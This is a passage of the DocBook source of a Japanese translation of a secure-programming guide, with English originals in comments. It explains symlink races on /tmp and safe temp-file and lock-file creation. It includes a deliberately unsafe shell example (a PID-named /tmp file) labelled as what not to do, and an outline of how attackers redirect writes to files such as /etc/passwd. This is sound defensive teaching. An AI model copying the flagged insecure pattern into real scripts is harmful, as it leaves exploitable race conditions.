The traditional Unix temporary directories (/tmp and /var/tmp) are usually
implemented as ``sticky'' directories, and all sorts of security problems
can still surface, as we'll see next.
-->
一般的に Unix ライクなシステムにおいて、複数のユーザがあるディレクトリに
書き込みができるなら、そのディレクトリに「sticky」ビットを設定した方が
良いでしょう。sticky なディレクトリを実現した方が具合が良くなります。
しかし、この問題を完全に避けるなら、信頼できる特別なプロセスだけがアクセス
できるディレクトリを作る(慎重に実装する)方が、より優れています。
これまでの Unix で一時的に使用するディレクトリ(/tmp や /var/tmp)は、普通
「sticky」ディレクトリとして実現されていますが、それでもセキュリティ上の
あらゆる問題が表面化しています。次からその点を見ていきましょう。

</para>

</sect3>

<sect3 id="temporary-files">
<!-- <title>Temporary Files</title> -->
<title>テンポラリ・ファイル</title>

<para>
<!--
This issue of correctly performing atomic operations
particularly comes up when creating temporary files.
Temporary files in Unix-like systems are traditionally
created in the /tmp or /var/tmp directories,
which are shared by all users.
A common trick by attackers is to create symbolic links in the
temporary directory to some other file (e.g., /etc/passwd)
while your secure program is running.
The attacker's goal is to create
a situation where the secure program determines that
a given filename doesn't exist, the attacker then creates the symbolic
link to another file, and then the secure program performs some operation
(but now it actually opened an unintended file).
Often important files can be clobbered or modified this way.
There are many variations to this attack, such as creating normal files,
all based on the
idea that the attacker can create (or sometimes
otherwise access) file system objects
in the same directory used by the secure program for temporary files.
-->
テンポラリ・ファイルを作成する時に、アトミックな操作を正しく実行する上での
問題が顕著に現れます。
これまで Unix ライクなシステムでは、テンポラリ・ファイルは /tmp もしくは 
/var/tmp ディレクトリに作ってきており、ユーザすべてが共有していました。
安全が必要なプログラムが動作している間、他のファイル(たとえば、/etc/passwd)
に対するシンボリックリンクをテンポラリ・ディレクトリに作成する罠を攻撃者は
仕掛けてきました。
攻撃者の狙いは、安全が必要なプログラムが、ある特定のファイル名が存在しないと
判断する状況を作り上げてから、攻撃者が別のファイルへのシンボリックリンクを
張って、安全が必要なプログラムにある操作を実行させる状態です(実際は意図して
いないファイルを開いてしまっている)。
この方法でよく重要なファイルが壊されたり、修正されたりします。
普通のファイルを作成するようなこの手の攻撃のバリエーションはたくさんあります。
この攻撃は、安全なプログラムで使用するテンポラリ・ファイルが存在するのと同じ
ディレクトリに、攻撃者がファイルシステム・オブジェクトを作成できる
(さもなければアクセスできる)という仮定にもとづいています。
</para>

<para>
<!--
The general problem when creating files in these shared directories is that
you must guarantee that the filename you plan to use doesn't already
exist at time of creation.
Checking ``before'' you create the file doesn't work, because after the check
occurs, but before creation, another process can create that file with
that filename.
Using an ``unpredictable'' or ``unique'' filename doesn't work in
general, because another process can often repeatedly guess until it succeeds.
-->
共有ディレクトリにファイルを作成する上で共通の問題点は、使用を予定している
ファイル名が、作成時に既に存在していないことを保証しなければいけない点です。
ファイルを作成する「前」にチェックするのは効き目がありません。理由は、
チェック後かつファイルの作成前に、別のプロセスがそのファイル名でファイルを
作成できてしまうからです。
「予測不可能」もしくは「ユニーク」なファイル名を使うのも、およそ効果があり
ません。
それは、名前の推測が成功するまで、別プロセスが何度でも推測できるからです。
</para>

<para>
<!--
Fundamentally, to create a temporary file in a shared (sticky) directory,
you must repetitively: (1) create a ``random'' filename, (2) open it using 
O_CREAT | O_EXCL and very narrow permissions,
and (3) stop repeating when the open succeeds.
-->
基本的に、共有している(sticky をかけてある)ディレクトリでテンポラリ・
ファイルを作成するには、次のことを繰り返し行う必要があります。(1)「ランダム」
なファイル名を作成すること、(2)O_CREAT | O_EXCL を使って open し、
パーミッションできつい制限をかけること、(3)open が成功したなら、繰り返さない
こと、です。
</para>

<para>
<!--
According to the 1997 ``Single Unix Specification'', the preferred
method for creating an arbitrary temporary file is tmpfile(3).
The tmpfile(3) function creates a temporary file
and opens a corresponding stream, returning that stream (or NULL if it didn't).
Unfortunately, the specification doesn't make any
guarantees that the file will be created securely.
In earlier versions of this book, I stated that I was concerned because
I could not assure myself that all implementations do this securely.
I've since found that older System V systems
have an insecure implementation of tmpfile(3) (as well as insecure
implementations of tmpnam(3) and tempnam(3)).
-->
1997 年版の「Single Unix Specification」によると、任意にテンポラリ・ファイル
を作成するのに望ましい方法は、tmpfile(3)を使う、となっています。
tmpfile(3)関数はテンポラリ・ファイルを作成し、それに対応したストリームを
open し、そのストリームのディスクリプタを返します(失敗すると NULL を返します)。
あいにく、ファイルが安全に作成される保証は仕様上一切ありません。
このドキュメントの旧版で、実装すべてが安全かどうか確信できないので心配だ、
と述べました。
その後、古い System V システムで tmpfile(3)の実装が安全ではないことがわかって
います(tmpnam(3) と tempnam(3)も同様に安全でない)。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.gsp.com/cgi-bin/man.cgi?section=3&topic=tmpfile which
  shows tmpfile(3) of BSD, November 17, 1993. -->
<!--
Library implementations of tmpfile(3) should securely create such files,
of course, but users don't always realize that their system libraries
have this security flaw, and sometimes they can't do anything about it.
-->
もちろん tmpfile(3)を実装しているライブラリは、そのようなファイルを安全に
作成すべきですが、ユーザはシステムのライブラリにセキュリティ上の欠陥がある
ことを、必ずしも気付くわけではありません。場合によってはその件について、
何も打つ手がない時もあります。
</para>

<para>
<!--
Kris Kennaway recommends using mkstemp(3) for making temporary files
in general.
His rationale is that you should use well-known library functions to perform
this task instead of rolling your own functions, and that this function
has well-known semantics.
This is certainly a reasonable position.
I would add that, if you use mkstemp(3), be sure to use umask(2) to limit
the resulting temporary file permissions to only the owner.
This is because
some implementations of mkstemp(3) (basically older ones) make such
files readable and writable by all,
creating a condition in which an attacker can read or
write private data in this directory.
A minor nuisance is that mkstemp(3) doesn't directly support the
environment variables TMP or TMPDIR (as discussed below), so
if you want to support them you have to add code to do so.
Here's a program in C that demonstrates how to use mkstemp(3)
for this purpose, both directly and when adding support for TMP and TMPDIR:
-->
Kris Kennaway 氏は、テンポラリ・ファイルの作成に当たって、一般に mkstemp(3)
の使用を推奨しています。
テンポラリ・ファイルを作るなら、自分自身で関数を作り上げて利用するよりも、
よく知らたライブラリを使った方が良い、というのが理屈です。そしてこの関数は
よく知られた使い方を採用しています。
これはかなりもっともな見解です。
mkstemp(3)を使うなら、私はこれに加えて必ず umask(2)を使って、テンポラリ・
ファイルのパーミッションが所有者だけになるように制限をかけます。
これは mkstemp(3)の実装(基本的には古い物)には、テンポラリ・ファイルを
すべてのユーザに対して、読み書き可能にしているものがあるからです。この状態
になると攻撃者は、このディレクトリにプライベートなデータを読み書き可能に
なります。
多少厄介なのは、mkstemp(3)が直接には TMP や TMPDIR といった環境変数をサポート
していない点です(下記で論じます)。そこで環境変数をサポートしたいとなると、
自分でサポートできるようにコードを追加しなければいけません。
ここで、環境変数をサポートした C で書いた mkstemp(3)の使い方を示したプログラム
を掲載します。これで、TMP もしくは TMPDIR のサポートを追加することで、直接
両者の操作が可能になります。

<programlisting width=72>
<![CDATA[
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

void failure(msg) {
 fprintf(stderr, "%s\n", msg);
 exit(1);
}

/*
 * Given a "pattern" for a temporary filename
 * (starting with the directory location and ending in XXXXXX),
 * create the file and return it.
 * This routines unlinks the file, so normally it won't appear in
 * a directory listing.
 * The pattern will be changed to show the final filename.
 */

FILE *create_tempfile(char *temp_filename_pattern)
{
 int temp_fd;
 mode_t old_mode;
 FILE *temp_file;

 old_mode = umask(077);  /* Create file with restrictive permissions */
 temp_fd = mkstemp(temp_filename_pattern);
 (void) umask(old_mode);
 if (temp_fd == -1) {
   failure("Couldn't open temporary file");
 }
 if (!(temp_file = fdopen(temp_fd, "w+b"))) {
   failure("Couldn't create temporary file's file descriptor");
 }
 if (unlink(temp_filename_pattern) == -1) {
   failure("Couldn't unlink temporary file");
 }
 return temp_file;
}


/*
 * Given a "tag" (a relative filename ending in XXXXXX),
 * create a temporary file using the tag.  The file will be created
 * in the directory specified in the environment variables
 * TMPDIR or TMP, if defined and we aren't setuid/setgid, otherwise
 * it will be created in /tmp.  Note that root (and su'd to root)
 * _will_ use TMPDIR or TMP, if defined.
 * 
 */
FILE *smart_create_tempfile(char *tag)
{
 char *tmpdir = NULL;
 char *pattern;
 FILE *result;

 if ((getuid()==geteuid()) && (getgid()==getegid())) {
   if (! ((tmpdir=getenv("TMPDIR")))) {
     tmpdir=getenv("TMP");
   }
 }
 if (!tmpdir) {tmpdir = "/tmp";}

 pattern = malloc(strlen(tmpdir)+strlen(tag)+2);
 if (!pattern) {
   failure("Could not malloc tempfile pattern");
 }
 strcpy(pattern, tmpdir);
 strcat(pattern, "/");
 strcat(pattern, tag);
 result = create_tempfile(pattern);
 free(pattern);
 return result;
}



main() {
 int c;
 FILE *demo_temp_file1;
 FILE *demo_temp_file2;
 char demo_temp_filename1[] = "/tmp/demoXXXXXX";
 char demo_temp_filename2[] = "second-demoXXXXXX";

 demo_temp_file1 = create_tempfile(demo_temp_filename1);
 demo_temp_file2 = smart_create_tempfile(demo_temp_filename2);
 fprintf(demo_temp_file2, "This is a test.\n");
 printf("Printing temporary file contents:\n");
 rewind(demo_temp_file2);
 while (  (c=fgetc(demo_temp_file2)) != EOF) {
   putchar(c);
 }
 putchar('\n');
 printf("Exiting; you'll notice that there are no temporary files on exit.\n");
}
]]>
</programlisting>
</para>

<para>
<!--
Kennaway also notes that if you can't use mkstemp(3),
then make yourself a directory using mkdtemp(3), which is protected
from the outside world.
Finally, if you really have to use the insecure mktemp(3), use lots of
X's - he suggests 10 (if your libc allows it) so that the filename can't
easily be guessed (using only 6 X's means that 5 are taken up by the
PID, leaving only one random character and allowing an attacker to
mount an easy race condition).
I add that you should avoid tmpnam(3) as well -
some of its uses aren't reliable when threads are present, and
it doesn't guarantee that it will work correctly after
TMP_MAX uses (yet most practical uses must be inside a loop).
-->
Kennaway 氏は、mkstemp(3)を使えないなら、mkdtemp(3)を使ってディレクトリを
つくるように推奨しています。こうすれば、外部から守れます。
最終的に、安全でない mktemp(3)を使わなければならないなら、予測できない文字を
たくさん使うようにも提案しています。 10 文字がお勧めです(libc が許せば)。
こうすれば、ファイル名は簡単には推測できなくなります(6 文字だと、5 文字は PID 
で取られてしまうので、ランダムに残されたのは 1 文字だけになってしまいます。
これでは攻撃者に簡単に競合状態をしかけられてしまいます)。
これに加えて tmpnam(3)の利用も避けるように提案します。スレッドが動いていて
tmpnam(3)を使用をすると、どうなるのかわかりません。また TMP_MAX を越えて使用
すると(実用上、1 つのループ内で使用しなければいけません)正しい動作が保証
できません。
</para>

<para>
<!--
In general, you should avoid using the insecure functions
such as mktemp(3) or tmpnam(3), unless you take specific measures to
counter their insecurities or test for a secure library implementation
as part of your installation routines.
If you ever want to make a file in /tmp or a world-writable directory
(or group-writable, if you don't trust the group) and don't want to
use mk*temp() (e.g. you intend for the file to be predictably named),
then <emphasis>always</emphasis> use the O_CREAT and O_EXCL flags to
open() and <emphasis>check the return value</emphasis>.
If you fail the open() call, then recover gracefully (e.g. exit).
-->
概して mktemp(3) や tmpnam(3)のような、安全でない関数の使用は避けるべきです。
使用するなら、セキュリティを脅かす点に特別な処置を講じたり、安全なライブラリ
の実装のテストをインストールの一環として行ってください。
問題がいろいろあってもなお、/tmp や誰でも書ける(もしくはグループを信頼して
いないなら、グループで書ける)ディレクトリにファイルを作って、mk*temp()を使い
たくないなら(たとえば、名前が事前にわかっているファイルを意図して)、
<emphasis>常に</emphasis> O_CREAT と O_EXCL フラグを付けて open()を呼び出し、
<emphasis>返り値をチェックしてください</emphasis>。
open()が失敗したなら、その時は適切に後処理してください(たとえば、exit する)。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Kennaway mentioned O_EXCL, but forgot O_CREAT -->
</para>

<para>
<!--
The GNOME programming guidelines recommend the following C code when
creating filesystem objects in shared (temporary) directories
to security open temporary files [Quintero 2000]:
-->
GNOME のプログラミング・ガイドラインでは、ファイルシステム・オブジェクトを
共有の(テンポラリの)ディレクトリに作成する場合、下記の C コードを推奨
しています。これは最小限のセキュリティでファイルを作成するのが目的です。
<programlisting width="68">
 char *filename;
 int fd;

 do {
   filename = tempnam (NULL, "foo");
   fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
   free (filename);
 } while (fd == -1);
</programlisting>
<!--
Note that, although the insecure function tempnam(3) is being used, it
is wrapped inside a loop using O_CREAT and O_EXCL to counteract its
security weaknesses.
Note that you need to free() the filename.
You should close() and unlink() the file after you are done.
If you want to use the Standard C I/O library,
you can use fdopen() with mode "w+b"
to transform the file descriptor into a FILE *.
Note that this approach won't work over
NFS version 2 (v2) systems, because older
NFS doesn't correctly support O_EXCL.
Note that one minor disadvantage to this approach is that, since
tempnam can be used insecurely, various compilers and security scanners
may give you spurious warnings about its use.
This isn't a problem with mkstemp(3).
-->
ここで注目なのは、安全でない関数の tempnam(3)が使われていても、ループ内部
で O_CREAT と O_EXCL を使って、セキュリティ上の弱点をカバーしている点です。
注目して欲しいのは、ファイル名を free()する必要があるところです。
処理が終わったら、close()や unlink()すべきです。
標準 C 入出力ライブラリを使いたいなら、fdopen()を「w+b」で使用して、ファイル
ディスクリプタを FILE * に変えてください。
この解決方法は、NFS version 2 (v2)のシステムではうまくいかないでしょう。理由
は、古い NFS が O_EXCL をきちんとサポートしていないからです。
この解決方法にはちょっとした欠点もあって、tempnam を安全に使わないと、
コンパイラやセキュリティ・スキャナがうるさく警告を出すかもしれません。
これは mkstemp(3)では問題となりません。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- They also say you can use tmpfile() to do it in one step; I want
     to verify this before saying so. I'm concerned that some 
     implementations may not "do it correctly", and it's better to
     re-implement than be insecure. -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://developer.gnome.org/doc/guides/programming-guidelines/security.html -->
</para>

<para>
<!--
If you need a temporary file in a shell script, you're probably
best off using pipes, using a local directory (e.g., something inside the
user's home directory), or in some cases using the current directory.
That way, there's no sharing unless the user permits it.
If you really want/need the temporary file
to be in a shared directory like /tmp, do
<emphasis>not</emphasis> use the traditional shell
technique of using the process id in a template and just creating the file
using normal operations like ">".
Shell scripts can use "$$" to indicate the PID, but the
PID can be easily determined or guessed by an attacker,
who can then pre-create files or links with the same name.
Thus the following "typical" shell script is <emphasis>unsafe</emphasis>:
-->
シェルスクリプトでテンポラリ・ファイルが必要ならば、パイプを使ってローカル
ディレクトリ(たとえば、ユーザのホームディレクトリ内のどれかに)や、場合に
よってはカレントディレクトリを利用するのが適切でしょう。
こうすれば、ユーザが許可しない限りは共有はありえません。
どうしても /tmp のような共有ディレクトリにテンポラリファイルを作りたい、
もしくは必要なら、従来からのシェル上のテクニックを使って、ファイル名のひな形
にプロセス id を組み込み、いつも通りに「>」でファイルを作っては、<emphasis>
いけません</emphasis>。
シェルスクリプトは「$$」を使って pid を示しますが、攻撃者は簡単に pid を
特定もしくは推測できます。そうして攻撃者は、同じ名前で事前にファイルを作成
したり、リンクしたりしてしまいます。
つまり、下記の「ありがち」なシェルスクリプトは、安全では<emphasis>ありません
</emphasis>。
<programlisting width="72">
<![CDATA[
   echo "This is a test" > /tmp/test$$  # DON'T DO THIS.
]]>
</programlisting>
</para>


<para>
<!--
If you need a temporary file or directory
in a shell script, and you want it in /tmp,
the solution is probably mktemp(1), which is intended for use in shell scripts.
Note that mktemp(1) and mktemp(3) are different things - it's
mktemp(1) that is safe.
To be honest, I'm not enamored of shell scripts
creating temporary files in shared directories;
creating such files in private directories or using pipes instead is
generally preferable.
However, if you really need it, use it; mktemp(1) takes a template, then
creates a file or directory using O_EXCL and returns the resulting name;
since it uses O_EXCL, it's safe on shared directories like /tmp
(unless the directory uses NFS version 2).
Here are some examples of correct use of mktemp(1) in Bourne shell scripts;
these examples are straight from the mktemp(1) man page:
-->
シェルスクリプトでテンポラリファイルが必要でかつ、/tmp に置きたい場合は、
mktemp(1)が解決方法になるのと思います。mktemp(1)はシェルスクリプトでの利用
を前提にしています。
mktemp(1)と mktemp(3)は別物で、mktemp(1)は安全です。
正直言うと、私はシェルスクリプトで共有ディレクトリにテンポラリファイルを
しょっちゅう作っているわけではありません。
そのようなファイルをプライベートなディレクトリに作成するか、パイプを使うか
する方が好ましいと思います。
しかしどうしても必要なら、mktemp(1)でひな形を作って、O_EXCL でファイルや
ディレクトリを作成し、最終的にファイル名を返すようにします。
O_EXCL を使えば、/tmp のような共有ディレクトリでも安全になります(ただし NFS 
version 2 を使っていなければ)。
ここで、正しい例として mktemp(1) を Bourne シェルで利用してみます。
この例は mktemp(1)の man からそのまま持ってきました。
<programlisting width="72">
<![CDATA[
 # Simple use of mktemp(1), where the script should quit
 # if it can't get a safe temporary file:

   TMPFILE=`mktemp /tmp/$0.XXXXXX` || exit 1
   echo "program output" >> $TMPFILE

  # Simple example, if you want to catch the error:

   TMPFILE=`mktemp -q /tmp/$0.XXXXXX`
   if [ $? -ne 0 ]; then
      echo "$0: Can't create temp file, exiting..."
      exit 1
   fi
]]>
</programlisting>
</para>

<para>
<!--
Don't reuse a temporary filename (i.e. remove and recreate it),
no matter how you obtained the ``secure'' temporary filename in the
first place.
An attacker can observe the original filename
and hijack it before you recreate it the second time.
And of course, always use appropriate file permissions.
For example, only allow world/group access
if you need the world or a group to access the file, otherwise
keep it mode 0600 (i.e., only the owner can read or write it).
-->
テンポラリファイル名は、再利用しないでください(つまり削除して再作成します)。
いかに「安全な」テンポラリのファイル名を最初に得られたとしてもです。
攻撃者は、オリジナルのファイル名を見つけて、二度目に再利用する前に乗っ取って
しまうかもしれません。
もちろん適切なパーミッションを常にかけてください。
たとえば、誰でも、もしくはあるグループがそのファイルにアクセスする必要が
あるなら、そのアクセスだけを許可してください。さもなければ、モードを 0600 に
しておいてください(すなわち、所有者だけが読み書きできように)。
</para>

<para>
<!--
Clean up after yourself, either by using an exit handler, or making
use of UNIX filesystem semantics and unlink()ing the file immediately
after creation so the directory entry goes away but the file itself
remains accessible until the last file descriptor pointing to it is
closed. You can then continue to access it within your program by
passing around the file descriptor.
Unlinking the file has a lot of advantages for code maintenance:
the file is automatically deleted, no matter how your program crashes.
The one minor problem with immediate unlinking is that it makes it slightly
harder for administrators to see how disk space is being used, since
they can't simply look at the file system by name.
-->
きちんと後始末をしてください。終了処理を使うか、UNIX ファイルシステムの実際
の処理方法を利用して、作成とともにファイルを unlink()してください。そうすると
ディレクトリ・エントリは消えてしまいますが、ファイル自体はファイルを指し示す
最後のファイル・ディスクリプタが閉じるまではアクセスできるようになっています。
そうすれば、プログラム内からはファイル・ディスクリプタ経由でファイルにアクセス
し続けられます。
ファイルを unlink するのは、コードをメンテナンスするのに非常に役立ちます。
ファイルはプログラムがクラッシュしたとしても自動的に削除されます。
すぐに unlink すると管理者がディスクスペースがどのくらいあるかがわかりにくく
なるという問題も多少はあります。それは単純に名前ではファイルシステムを見られ
なくなるからです。
</para>

<para>
<!--
You might consider ensuring that your code for Unix-like systems
respects the environment variables TMP or TMPDIR
if the provider of these variable values is trusted.
By doing so, you make it possible for users to move their temporary
files into an unshared directory (and eliminating the problems discussed here),
such as a subdirectory inside their home directory.
Recent versions of Bastille can set these variables to reduce the sharing
between users.
Unfortunately, many users set TMP or TMPDIR to a shared directory
(say /tmp), so your secure program must still
correctly create temporary files even if these environment variables
are set.
This is one advantage of the GNOME approach, since at least on some
systems tempnam(3) automatically uses TMPDIR, while
the mkstemp(3) approach requires more code to do this.
Please don't create yet more environment variables for temporary directories
(such as TEMP), and in particular don't create a different environment
name for each application (e.g., don't use "MYAPP_TEMP").
Doing so greatly complicates managing systems,
and users wanting a special temporary directory for a specific
application can just set the environment variable specially
when running that particular application.
Of course, if these environment variables might have been set by an
untrusted source, you should ignore them - which you'll do anyway
if you follow the advice in
<xref linkend="env-var-solution">.
-->
環境変数の TMP や TMPDIR の値が確実に信頼できるところから得られ、コードが Unix 
ライクなシステム向けなら、それらの環境変数を尊重してもよいかもしれません。
そうすれば、ユーザはテンポラリファイルをホームディレクトリ下のサブディレクトリ
のような共有していないディレクトリに移せます(そしてここで論じた問題を回避
できます)。
Bastille の最近のバージョンでは、ユーザ間で共有を減らすように、これらの変数を
設定できるようになっています。
残念ながら、ユーザは TMP や TMPDIR に共有ディレクトリ(たとえば /tmp)を設定
しているケースが多く、依然として安全が必要なプログラムでは、これらの環境変数
が設定してあっても、正しくテンポラリファイルを作成する必要があります。
GNOME の解決方法には長所が 1 つあります。少なくともあるシステムでは、
tempnam(3)は自動的に TMPDIR を利用しますが、mkstemp(3)で同様なことをするには、
さらにコードを書かなければならないからです。
テンポラリディレクトリ用にさらに環境変数(TEMP の ような)を作らないように
してください。特にアプリケーション毎に別の環境変数名を作らないでください
(たとえば、「MYAPP_TEMP」のように使わないこと)。
作成してしまうと、システム管理がとても複雑になってしまいます。特定のアプリ
ケーション用に専用のテンポラリファイルを望んでいるユーザが、そのアプリケー
ションを動かす時に環境変数を独自に設定できてしまいます。
もちろん、これらの環境変数が信頼できないソースで設定されてしまったなら、
これらを無視しなければいけません。<xref linkend="env-var-solution"> にある
アドバイスに従うなら、どのみちそうなるでしょう。
</para>

<para>
<!--
These techniques don't work if the temporary directory is remotely
mounted using NFS version 2 (NFSv2), because NFSv2 doesn't properly
support O_EXCL.
See <xref linkend="locking-using-files"> for more information.
NFS version 3 and later properly support O_EXCL; the simple solution
is to ensure that temporary directories are either local or, if mounted
using NFS, mounted using NFS version 3 or later.
There is a technique for safely creating temporary files on NFS v2,
involving the use of link(2) and stat(2), but it's complex; see
<xref linkend="locking-using-files"> which has more information about this.
-->
これらのテクニックは、テンポラリディレクトリが NFS version 2 (NFSv2)でマウント
した、リモートのディレクトリであるとうまく動きません。それは NFSv2 がきちんと
O_EXCL をサポートしていないからです。
詳しいことは <xref linkend="locking-using-files"> を見てください。
NFS version 3 以降では O_EXCL をきちんとサポートしています。テンポラリ
ディレクトリは、いつもローカルに作成するか、NFS を使ってマウントするなら、常に 
NFS version 3 以降を使うのが解りやすい解決策です。
NFS v2 で安全にテンポラリファイルを作成するには、link(2) と stat(2)を使用
しますが、面倒です。これについては、<xref linkend="locking-using-files"> に
詳しい情報があります。
</para>

<para>
<!--
As an aside, it's worth noting that
FreeBSD has recently changed the mk*temp() family to get rid of
the PID component of the filename and replace the entire thing with
base-62 encoded randomness. This drastically raises the number of
possible temporary files for the "default" usage of 6 X's, meaning
that even mktemp(3) with 6 X's is reasonably (probabilistically) secure
against guessing, except under very frequent usage.
However, if you also follow the guidance here, you'll eliminate the
problem they're addressing.
-->
それはさておき、FreeBSD が最近になって mk*temp()系でファイル名に pid を
付けないようにした点は、注目に値します。pid ではなく、base-62 でエンコード
したランダムな値に完全に置き換えました。このことによって「デフォルト」の
6 文字分を使用したテンポラリファイルが大幅に増加しました。つまり、6 文字
を使った mktemp(3)でさえ、頻繁に使用しなければ、名前の推測に対してかなり
(確率的にも) 安全になりました。
しかしここでも教えにならうなら、彼らが取り組んでいる問題を回避するでしょう。
</para>

<para>
<!--
Much of this information on temporary files was derived from
<ulink url="http://lwn.net/2000/1221/a/sec-tmp.php3">Kris Kennaway's
posting to Bugtraq about temporary files on December 15, 2000</ulink>.
-->
テンポラリファイルについての情報の多くは、
<ulink url="http://lwn.net/2000/1221/a/sec-tmp.php3">Kris Kennaway 氏が
2000 年 12月15日に Bugtraq へテンポラリファイルについて投稿した記事</ulink>
によっています。
</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: I need to completely rewrite this race condition section -->

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Not quite the right idea:
You can't even just check to see if the given file is a symbolic link;
if it's owned by an untrusted user, the user could change this after
the check.
One possible tool is the O_NOFOLLOW option for open(), a
FreeBSD extension also supported by Linux; this option says to not
follow symbolic links if the link the final portion of the path.
Unfortunately at this time this option is not portable.
-->

</sect3>


</sect2>


<sect2 id="locking">
<!-- <title>Locking</title> -->
<title>ロックをかける</title>

<para>
<!--
There are often situations in which a program must ensure that it has
exclusive rights to something (e.g., a file, a device, and/or
existence of a particular server process).
Any system which locks resources must deal with the standard problems
of locks, namely, deadlocks (``deadly embraces''), livelocks,
and releasing ``stuck'' locks if a program doesn't clean up its locks.
A deadlock can occur if programs are stuck waiting for each other to
release resources.
For example, a deadlock would occur if
process 1 locks resources A and waits for resource B,
while process 2 locks resource B and waits for resource A.
Many deadlocks can be prevented by simply requiring all processes
that lock multiple resources to lock them
in the same order (e.g., alphabetically by lock name).
-->
プログラムがあるもの(たとえば、ファイルやデバイス、あるサーバ・プロセスの存在)
に対して、排他的な権限を確保しなければならない状況がよくあります。
リソースをロックするシステムはどれでも、よくあるロックの問題、つまりデッド
ロック(「死の抱擁(deadly embrace)」)やライブロック、そしてプログラムがロックを
後片づけしない場合は「取り残された」ロックの解放に対処しなければいけません。
デッドロックは、それぞれのプログラムがリソースが解放されるのを待って、身動きが
とれない場合に発生します。
たとえば、デッドロックは、プロセス 1 がリソース A をロックしつつ、リソース B 
が解放されるのを待っている状態で、プロセス 2 がリソース B をロックしつつ、
リソース A が解放されるのを待っている時に起こります。
デッドロックの多くは、複数のリソースをロックするプロセスすべてが、同じ順序付け
(たとえば、ロックする名前をアルファベット順にする)でロックを行えば簡単に回避
できます。
</para>
<sect3 id="locking-using-files">
<!-- <title>Using Files as Locks</title> -->
<title>ファイルをロックに使用する</title>

<para>
<!--
On Unix-like systems resource locking has traditionally been done by creating
a file to indicate a lock, because this is very portable.
It also makes it easy to ``fix'' stuck locks, because an administrator
can just look at the filesystem to see what locks have been set.
Stuck locks can occur because the program failed to clean up after
itself (e.g., it crashed or malfunctioned) or because the whole system crashed.
Note that these are ``advisory'' (not ``mandatory'') locks - all processes
needed the resource must cooperate to use these locks.
-->
Unix ライクなシステムでリソースをロックするには、これまではファイルを作って
ロックを実現していました。これが非常に移植性がある方法だからです。
またこの方法では、ロックの残骸を簡単に「修復」できます。理由は、管理者が
ファイルシステムを見れば、どんなロックが設定してあるのかわかるからです。
ロックの残骸は、プログラム自身が後片づけに失敗したり(たとえば、クラッシュ
したり、誤動作したりした場合)、システム全体がクラッシュした場合に起こります。
これらは「アドバイザリ」(強制(mandatory)ではありません)ロックであることに
注意してください。リソースを必要としているプロセスすべてはこのロックを協調
して使わなければいけません。
【訳註：ファイルのロック機能には、強制ロック(mandatory locking)と
アドバイザリ・ロック(advisory locking)があります。違いは、前者はカーネルが
プロセスを監視しロック操作を行うので、プロセス間の依存関係を越えてロックが
可能であるのに対して、後者はプロセス自身がロック操作を行うので、そのプロセス
の制御外のものに対してはロックが無効となります。 詳しくは、カーネル付属の
ドキュメントの linux/Documentation/mandatory.txt を参照してください】
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ??? Discuss various approaches to resolve this, e.g.,
There are some standard tricks to simplify clean-up for these
conditions.
For example, a parent process can set a lock,
call a child to do the work (make sure only the parent can call the child
in a way that it can work), and when the child returns the parent releases
the lock.
Or, a cron job can look at the locks (which contain a process id); if
the process isn't alive, it would erase the lock and restart the process.
Finally, the lock file can be erased as part of system start-up.
-->
</para>

<para>
<!--
However, there are several traps to avoid.
First, don't use the technique used by
very old Unix C programs,
which is calling creat() or its open() equivalent, the open() mode
O_WRONLY | O_CREAT | O_TRUNC, with the file mode set to 0 (no permissions).
For normal users on normal file systems, this works, but
this approach fails to lock the file when the user has root privileges.
Root can always perform this operation, even when the file
already exists.
In fact, old versions of Unix had this particular problem in the
old editor ``ed'' &R45;&R45; the symptom was that
occasionally portions of the password file would be placed in user's files
[Rochkind 1985, 22]!
Instead, if you're creating a lock for processes that are on the local
filesystem, you should use open() with the flags
O_WRONLY | O_CREAT | O_EXCL (and again, no permissions, so that other
processes with the same owner won't get the lock).
Note the use of O_EXCL, which is the official way to
create ``exclusive'' files; this even works for root on a local filesystem.
[Rochkind 1985, 27].
-->
しかし、避けなければならない落とし穴があります。
まず、以前から使われている C プログラムのやり方を使わないようにしてください。
その方法では、create()もしくはそれと等価の open()を呼び出し、open()のモード
を O_WRONLY | O_CREAT | O_TRUNC としてファイルのモードを 0(パーミッションなし)
とします。
通常のファイルシステム上で、一般ユーザが行うのであれば問題はありませんが、
ユーザが root の特権を持っている場合には、ファイルのロックに失敗します。
root はファイルが既に存在していても、常にこの操作が実行できてしまいます。
実際、古い Unix バージョンでは、いにしえのエディタである
「ed」がこの特徴的な問題を抱えていました。ときおり、パスワードファイルの一部
がユーザのファイルになってしまう現象がありました[Rochkind 1985, 22]。
そうするかわりに、プロセスに使うロックをローカルのファイルシステム上に作る
なら、open()に O_WRONLY | O_CREAT | O_EXCL フラグをつけて使用すべきです
(また一方では、パーミッションはつけなければ、同じユーザの他のプロセスはロック
を獲得できません)。
O_EXCL は、正式には「排他的な」ファイルの作成に使用されます。これはローカル
のファイルシステム上で root に対しても効果があります[Rochkind 1985, 27]。
</para>

<para>
<!--
Second, if the lock file may be on an NFS-mounted filesystem, then you have
the problem that NFS version 2 doesn't completely support normal file semantics.
This can even be a problem for work that's supposed to be ``local'' to a
client, since some clients don't have local disks and may have <emphasis remap="it">all</emphasis>
files remotely mounted via NFS.
The manual for <emphasis remap="it">open(2)</emphasis> explains how to handle things in this case
(which also handles the case of root programs):
-->
次に問題となるのが、ロックファイルを NFS でマウントしたファイルシステム上に
作成する場合です。NFS version 2 が、通常のファイルが持っている機能を完全には
サポートしていない点が問題です。
これは、クライアントが「ローカル」にあることを仮定して動作する場合も問題となり
ます。クライアントによっては、ローカルでディスクを持たないものや<emphasis 
remap="it">すべての</emphasis>ファイルが NFS 経由でリモートマウントしている
ものもあるからです。
<emphasis remap="it">open(2)</emphasis> のマニュアルでこのケースの扱いを説明
しています(root のプログラムの扱いも説明してあります)。
</para>

<para>
<!--
